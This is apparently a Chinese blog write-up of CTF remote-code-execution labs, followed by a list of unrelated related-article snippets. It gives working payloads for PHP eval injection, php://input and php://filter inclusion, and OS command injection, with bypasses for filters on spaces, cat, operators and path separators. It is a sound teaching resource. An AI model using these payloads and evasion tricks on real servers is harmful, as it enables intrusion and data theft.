web基础之RCE
简介:RCE称为远程代码执行漏洞;是互联网的一种安全漏洞;攻击者可以直接向后台服务器远程注入操作系统命令;从而操控后台系统;也是CTF比较常考的一个方面
1、eval执行
(1)分析后端代码:if (isset($_REQUEST['cmd']))检查是否从存在cmd参数;eval($_REQUEST["cmd"])如果cmd参数存在的话,则eval()函数会将用户传递进来的参数当作php代码执行!

(2)查看网站当前目录
/?cmd=system(“ls”);
页面回显出来了index.php信息;并没有有用的文件;我们看一下上一级目录有啥文件吧;输入
/?cmd=system(“ls /”);
好像找到了有关flag的信息

查看文件的信息
?cmd=system("cat /flag_26015");
拿到flag

2、文件包含
文件包含
(1)分析后端代码
根据后端代码;首先输入?file=shell.txt;发现出现了eval函数;和上面不同的是通过post提交数据的;需要用hackbar插件或者通过bp抓包重发修改信息
(2)查看当前的目录文件(发现了index.php;shell.txt)

查看上一级目录的信息(看到etc flag文件)
ctfhub=system("ls /")

查看flag;输入
ctfhub=system("cat /flag");

php://input伪协议
(1)php://input
php://input用于执行php代码;条件是allow_url_include是On;查看phpinfo文件;查看发现满足条件,直接利用!
(2)使用bp抓包;发送到重发器模块当中;修改为post请求方式;增加<?php system('ls /');?>点击send看到上一级目录有flag信息

修改为<?php system("cat /flag_27289");?>拿到flag

远程包含
(1)发现有phpinfo文件;进去看看;可以进行远程包含(allow_url_include=ON);可以使用php://input执行php函数

(2)利用hackbar插件(这里用不了;因为提交数据的方式是GET;只能用bp抓包重放修改信息)
过程:url+?file=php://input;点击抓包;发送到repeater模块;然后修改GET为post;增加<?php system("ls /");?>;点击send;获得上一级目录信息;看到flag信息

修改playload:<?php system("cat /flag");?>;拿下flag

读取源代码
(1)这是尝试了一下php://input;发现漏洞点不在这;那可能就是php://filter;php://filter用于读取源码

(2)
题目提示:flag在 /flag当中;所以直接构造?file=php://filter/resource=../../../flag
http://URL/?file=php://filter/resource=../../../flag


3、命令注入
先导知识:

命令注入无过滤
(1)明确题目意思;查看当前目录下的文件
127.0.0.1|ls

使用cat 命令查看207971175014811.php文件;发现打不开;f12直接查看源码直接拿到flag;大佬的另一种方法就是使用base64解密
127.0.0.1|cat 14430616024597.php|base64

base64解密拿到flag

过滤cat
(1)cat命令被过滤了,在linux当中查看文件内容的命令有很多;比如 more head tail less;
eg:cat 由第一行开始显示内容,并将所有内容输出 tac 从最后一行倒序显示内容,并将所有内容输出 more 根据窗口大小,一页一页的现实文件内容 less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符 head 只显示头几行 tail 只显示最后几行
输入:127.0.0.1& more flag_90501846017901.php|base64

解密拿到flag

过滤空格
分析后端代码发现对空格进行了过滤;使用<;ifs ${IFS} %0d 等等代替空格(参考web渗透—RCE)127.0.0.1&cat<flag_20135747217897.php|base64
过滤目录分隔符
输入127.0.0.1;ls,发现了flag_is_here目录;然后进入这个目录;查看这个目录包含的文件;输入127.0.0.1;cd flag_is_here;ls;发现了flag_4635141399483.php;输入:127.0.0.1;cd flag_is_here;cat flag_4635141399483.php|base64,拿到flag;或者直接f12

过滤运算符
发现用不了运算符号了;那就使用;;然后输入127.0.0.1;cat flag_29492699725561.php直接f12查看源码;或者输入127.0.0.1 ; base64 flag_29492699725561.php直接得到flag

综合过滤练习自行寻找替换;很简单!为减少篇幅,此处不做过多赘述!
(1)查看服务器下的文件&& <==> || <==> %0a <==> %0d
?ip=127.0.0.1%0als

空格<==>%09(tab)<==>${IFS}<==>$IFS<==>$IFS$9<==><
(2)查看存在flag文件目录下的文件
?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als

(3)查看flag文件的内容
?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0a${IFS}more${IFS}f***_236832160630622.php

相关文章:
web基础之RCE
简介:RCE称为远程代码执行漏洞;是互联网的一种安全漏洞;攻击者可以直接向后台服务器远程注入操作系统命令;从而操控后台系统;也是CTF比较常考的一个方面 1、eval执行 (1)分析后端代码…...
c语言--水仙花数,求Sn的前五项和
用C语言实现输出水仙花数 什么是“水仙花数”? 所谓“水仙花数”是指一个n位数,其各位数字n次方之和等于该数本身。 例如:1531 ^3 5 ^3 3 ^3 如何求解水仙花数? 思路: 步骤1:先计算出数i的位数&#x…...
SpringBoot教程(二十八) | SpringBoot集成Elasticsearch(Java High Level Rest Client方式)
SpringBoot教程(二十八) | SpringBoot集成Elasticsearch(Java High Level Rest Client方式) 前言添加maven依赖yml配置ElasticsearchConfig 连接配置类EsUtil 工具类开始测试 前言 由ES官方提供,代码语法和DSL语法相似…...
【Vue3】常用的响应式数据类型
ref 定义基本类型 <template><div>{{ sum }}</div> </template><script setup> import { ref } from vuelet sum ref(10)const btn () > {sum.value 200 } </srcipt>reactive 定义复杂类型 <template><div>{{ sum }…...
搭建本地DVWA靶场教程 及 靶场使用示例
1. DVWA简介 DVWA(Damn Vulnerable Web Application)一个用来进行安全脆弱性鉴定的PHP/MySQL Web 应用平台,旨在为网络安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。 DVW…...
60. n 个骰子的点数【难】
comments: true difficulty: 简单 edit_url: https://github.com/doocs/leetcode/edit/main/lcof/%E9%9D%A2%E8%AF%95%E9%A2%9860.%20n%E4%B8%AA%E9%AA%B0%E5%AD%90%E7%9A%84%E7%82%B9%E6%95%B0/README.md 面试题 60. n 个骰子的点数 题目描述 把n个骰子扔在地上,所…...
高性能编程:无锁队列
目录 1. 无锁队列 1.1 无锁 1.1.1 阻塞(Blocking) 1.1.2 无锁(Lock-Free) 1.1.3 无等待(Wait-Free) 1.2 队列 1.2.1 链表实现的队列 1.2.2 数组实现的队列 1.2.3 混合实现的队列 1.3 多线程中的先…...
word标题排序编号错误
1.问题:word中有时会出现当前编号是2.1、3.1、4.1,下级编号却从1.1.1开始的情况,类似情况如下: 2.原因:此问题多为编号4.1、4.2和编号4.1.1使用的多级编号模板不一样,可以选中4.2,看下使用的多级…...
力扣---80. 删除有序数组中的重复项 II
给你一个有序数组 nums ,请你 原地 删除重复出现的元素,使得出现次数超过两次的元素只出现两次 ,返回删除后数组的新长度。 不要使用额外的数组空间,你必须在 原地 修改输入数组 并在使用 O(1) 额外空间的条件下完成。 说明&…...
一篇文章,讲清SQL的 joins 语法
SQL 中的不同 JOIN 类型: 1. (INNER)JOIN(内连接):返回两个表中具有匹配值的记录。 2. LEFT(OUTER)JOIN(左外连接):返回左表中的所有记录&#…...
设计模式之建造者模式(通俗易懂--代码辅助理解【Java版】)
文章目录 设计模式概述1、建造者模式2、建造者模式使用场景3、优点4、缺点5、主要角色6、代码示例:1)实现要求2)UML图3)实现步骤:1)创建一个表示食物条目和食物包装的接口2)创建实现Packing接口的实体类3&a…...
文生视频算法
文生视频 Sora解决问题:解决思路: CogVideoX解决问题:解决思路: Stable Video Diffusion(SVD)解决问题:解决思路: 主流AI视频技术框架: Sora Sora: A Review on Backg…...
LoRA: Low-Rank Adaptation Abstract
LoRA: Low-Rank Adaptation Abstract LoRA 论文的摘要介绍了一种用于减少大规模预训练模型微调过程中可训练参数数量和内存需求的方法,例如拥有1750亿参数的GPT-3。LoRA 通过冻结模型权重并引入可训练的低秩分解矩阵,减少了10,000倍的可训练参数…...
正点原子阿尔法ARM开发板-IMX6ULL(二)——介绍情况以及汇编
文章目录 一、裸机开发(21个)二、嵌入式Linux驱动例程三、汇编3.1 处理器内部数据传输指令3.2 存储器访问指令3.3 压栈和出栈指令3.4 跳转指令3.5 算术运算指令3.6 逻辑运算指令 一、裸机开发(21个) 二、嵌入式Linux驱动例程 三、…...
Unreal Engine——AI生成高精度的虚拟人物和环境(虚拟世界构建、电影场景生成)(一)
一、Unreal Engine 介绍 Unreal Engine(虚幻引擎)是由Epic Games开发的强大3D游戏开发引擎,自1998年首次发布以来,已经历了多个版本的迭代。虚幻引擎主要用于制作高品质的3D游戏,但也广泛用于电影、建筑、仿真等其他领…...
Emlog程序屏蔽用户IP拉黑名单插件
插件介绍 在很多时候我们需要得到用户的真实IP地址,例如,日志记录,地理定位,将用户信息,网站数据分析等,其实获取IP地址很简单,感兴趣的可以参考一下。 今天给大家带来舍力写的emlog插件:屏蔽…...
发送成绩的app或小程序推荐
老师们,新学期的第一次月考马上开始,是不是还在为如何高效、便捷地发布成绩而头疼呢?别担心,都2024年了,我们有更智能的方式来解决这个问题! 给大家安利一个超级实用的工具——易查分小程序。这个小程序简…...
51单片机-AT24C02(IIC总线介绍及其时序编写步骤)-第一节(下一节实战)
IIC开始通信(6大步) 我以前的文章也有对基本常用的通信协议讲解,如SPI UART IIC RS232 RS485 CAN的讲解,可前往主页查询,(2024.9.12,晚上20:53,将AT24C02存储芯片,掉电不…...
<<编码>> 第 11 章 逻辑门电路--或非门, 与非门, 缓冲器 示例电路
继电器或非门 info::操作说明 鼠标单击开关切换开合状态 闭合任意一个开关可使电路断开 primary::在线交互操作链接 https://cc.xiaogd.net/?startCircuitLinkhttps://book.xiaogd.net/code-hlchs-examples/assets/circuit/code-hlchs-ch11-19-nor-gate-by-relay.txt 或非门 i…...
股票api接口程序化报备,程序化交易监管对个人量化交易者有何影响
炒股自动化:申请官方API接口,散户也可以 python炒股自动化(0),申请券商API接口 python炒股自动化(1),量化交易接口区别 Python炒股自动化(2):获取…...
(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)
题目:3442. 奇偶频次间的最大差值 I 思路 :哈希,时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况,哈希表这里用数组即可实现。 C版本: class Solution { public:int maxDifference(string s) {int a[26]…...
在软件开发中正确使用MySQL日期时间类型的深度解析
在日常软件开发场景中,时间信息的存储是底层且核心的需求。从金融交易的精确记账时间、用户操作的行为日志,到供应链系统的物流节点时间戳,时间数据的准确性直接决定业务逻辑的可靠性。MySQL作为主流关系型数据库,其日期时间类型的…...
利用ngx_stream_return_module构建简易 TCP/UDP 响应网关
一、模块概述 ngx_stream_return_module 提供了一个极简的指令: return <value>;在收到客户端连接后,立即将 <value> 写回并关闭连接。<value> 支持内嵌文本和内置变量(如 $time_iso8601、$remote_addr 等)&a…...
基于距离变化能量开销动态调整的WSN低功耗拓扑控制开销算法matlab仿真
目录 1.程序功能描述 2.测试软件版本以及运行结果展示 3.核心程序 4.算法仿真参数 5.算法理论概述 6.参考文献 7.完整程序 1.程序功能描述 通过动态调整节点通信的能量开销,平衡网络负载,延长WSN生命周期。具体通过建立基于距离的能量消耗模型&am…...
渗透实战PortSwigger靶场-XSS Lab 14:大多数标签和属性被阻止
<script>标签被拦截 我们需要把全部可用的 tag 和 event 进行暴力破解 XSS cheat sheet: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 通过爆破发现body可以用 再把全部 events 放进去爆破 这些 event 全部可用 <body onres…...
高频面试之3Zookeeper
高频面试之3Zookeeper 文章目录 高频面试之3Zookeeper3.1 常用命令3.2 选举机制3.3 Zookeeper符合法则中哪两个?3.4 Zookeeper脑裂3.5 Zookeeper用来干嘛了 3.1 常用命令 ls、get、create、delete、deleteall3.2 选举机制 半数机制(过半机制࿰…...
工程地质软件市场:发展现状、趋势与策略建议
一、引言 在工程建设领域,准确把握地质条件是确保项目顺利推进和安全运营的关键。工程地质软件作为处理、分析、模拟和展示工程地质数据的重要工具,正发挥着日益重要的作用。它凭借强大的数据处理能力、三维建模功能、空间分析工具和可视化展示手段&…...
【Zephyr 系列 10】实战项目:打造一个蓝牙传感器终端 + 网关系统(完整架构与全栈实现)
🧠关键词:Zephyr、BLE、终端、网关、广播、连接、传感器、数据采集、低功耗、系统集成 📌目标读者:希望基于 Zephyr 构建 BLE 系统架构、实现终端与网关协作、具备产品交付能力的开发者 📊篇幅字数:约 5200 字 ✨ 项目总览 在物联网实际项目中,**“终端 + 网关”**是…...
安宝特方案丨船舶智造的“AR+AI+作业标准化管理解决方案”(装配)
船舶制造装配管理现状:装配工作依赖人工经验,装配工人凭借长期实践积累的操作技巧完成零部件组装。企业通常制定了装配作业指导书,但在实际执行中,工人对指导书的理解和遵循程度参差不齐。 船舶装配过程中的挑战与需求 挑战 (1…...
面向无人机海岸带生态系统监测的语义分割基准数据集
描述:海岸带生态系统的监测是维护生态平衡和可持续发展的重要任务。语义分割技术在遥感影像中的应用为海岸带生态系统的精准监测提供了有效手段。然而,目前该领域仍面临一个挑战,即缺乏公开的专门面向海岸带生态系统的语义分割基准数据集。受…...
